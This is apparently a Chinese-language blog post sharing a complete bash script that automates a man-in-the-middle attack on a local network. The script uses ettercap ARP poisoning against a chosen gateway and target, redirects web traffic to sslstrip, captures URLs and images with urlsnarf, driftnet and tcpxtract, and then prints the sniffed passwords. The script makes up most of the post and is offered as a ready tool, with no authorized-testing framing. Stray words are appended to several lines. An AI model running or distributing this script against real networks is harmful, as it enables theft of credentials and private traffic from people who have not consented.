這幾天折騰MITM***,反覆輸入一樣的命令很煩人,參照國外論壇一個腳本,結合本身的習慣修改了一下,將幾個經常使用命令寫到一個文件裏,實現相對自動的操做。php
腳本很簡單,簡單說一下功能,內容就很少註釋了。python
1)設置監聽網卡、端口、目標IP;linux
2)設置tcpxtract、driftnet、urlsnarf等輔助工具的啓用;bash
3)自動運行sslstrip和ettercap,並輸出數據到/tmp/(用戶定義)目錄中供後期分析;網絡
4)監聽結束後調用etterlog顯示數據,並調用wireshark進行抓包分析;tcp
5)簡單的輸入斷定;ide
6)能夠在命令行中輸入一組或兩組IP,重複運行時可經過bash log獲取上次輸入,不用每次運行都要重複輸入IP。(更新)
工具
#!/bin/bash echo "" echo "=============================================" echo " ___ _ _ _____ ___ ____ ___ ___ " echo " |___| | | | | | | |___| |___]" echo " | | |___| | |___| ___ |___ | | | " echo "" echo " 0.2 2014-2-21 " echo " |t|a|n|k|a|i|h|a|" echo "" echo "usage: auto_cap.sh [gatewayIP] [hostIP]" echo "" echo "=============================================" echo "" while [ -z $DIRNAME ] do read -p "1)設置保存名稱,全部數據將保存在/tmp/\"輸入名稱\"/目錄中(重複目錄強制刪除):" DIRNAME done if [ "$1" != "" ] ; then GATEWAY=$1 echo -e "\n2)網關地址已設置爲:$GATEWAY" else echo "";read -p "2)請設置網關地址(默認爲192.168.1.1):" GATEWAY fi if [ "$2" != "" ] ; then TARGET=$2 echo -e "\n3)監聽IP地址已設置爲:$TARGET" else echo "";read -p "3)請設置須要監聽的IP地址,什麼都不輸入時所有監聽:" TARGET fi echo "";read -p "4)是否使用tcpxtract自動導出圖片文件(有時時間較長,默認n)[y..n]:" XTRACT echo "";read -p "5)是否使用driftnet實時查看圖片(默認y)[y..n]:" DRIFT echo "";read -p "6)是否使用urlsnarf導出全部網站地址到txt文件(默認y)[y..n]:" SNARF echo -e "\n本機可用網絡設備以下:" ifconfig | cut -d " " -f 1 |awk '$1 ~ /[^ ]/ {print $1}' while [ -z $IFACE ] do read -p "7)設置監聽設備(不能爲空):" IFACE done echo "";read -p "8)設置監聽端口(默認10000):" SNIFFPORT if [ -z $SNIFFPORT ];then SNIFFPORT=10000 fi rm -rf /tmp/$DIRNAME/ mkdir /tmp/$DIRNAME/ iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $SNIFFPORT sslstrip -pkf -l $SNIFFPORT -w /tmp/$DIRNAME/$DIRNAME.log 2>/dev/null & if [ "$SNARF" == "y" ] || [ -z $SNARF ] ; then urlsnarf -i $IFACE | grep http > /tmp/$DIRNAME/$DIRNAME.txt & fi if [ "$DRIFT" == "y" ] || [ -z $DRIFT ] ; then driftnet -i $IFACE & fi echo -e "\n下面開始監聽,按q鍵退出" if [ ${#GATEWAY} -eq 0 ];then GATEWAY="192.168.1.1" fi ettercap -Tq -i $IFACE -w /tmp/$DIRNAME/$DIRNAME.pcap -L /tmp/$DIRNAME/$DIRNAME -M arp:remote /$GATEWAY/ /$TARGET/ killall sslstrip killall python killall urlsnarf killall driftnet iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain echo -e "監聽結束,下面進行後處理...\n" if [ "$XTRACT" == "y" ];then echo -e "tcpxtract正在導出圖片...\n" tcpxtract -f /tmp/$DIRNAME/$DIRNAME.pcap -o /tmp/$DIRNAME/ & fi echo -e "\n\n================================" echo -e "ettercap嗅探到的密碼以下:" etterlog -p -i /tmp/$DIRNAME/$DIRNAME.eci read -p "是否用wireshark分析?(默認n):" SHARK if [ "$SHARK" == "y" ];then wireshark /tmp/$DIRNAME/$DIRNAME.pcap & fi echo -e "\n程序退出...\n"
附上我參照材料的網址:http://www.backtrack-linux.org/forums/showthread.php?t=27509
網站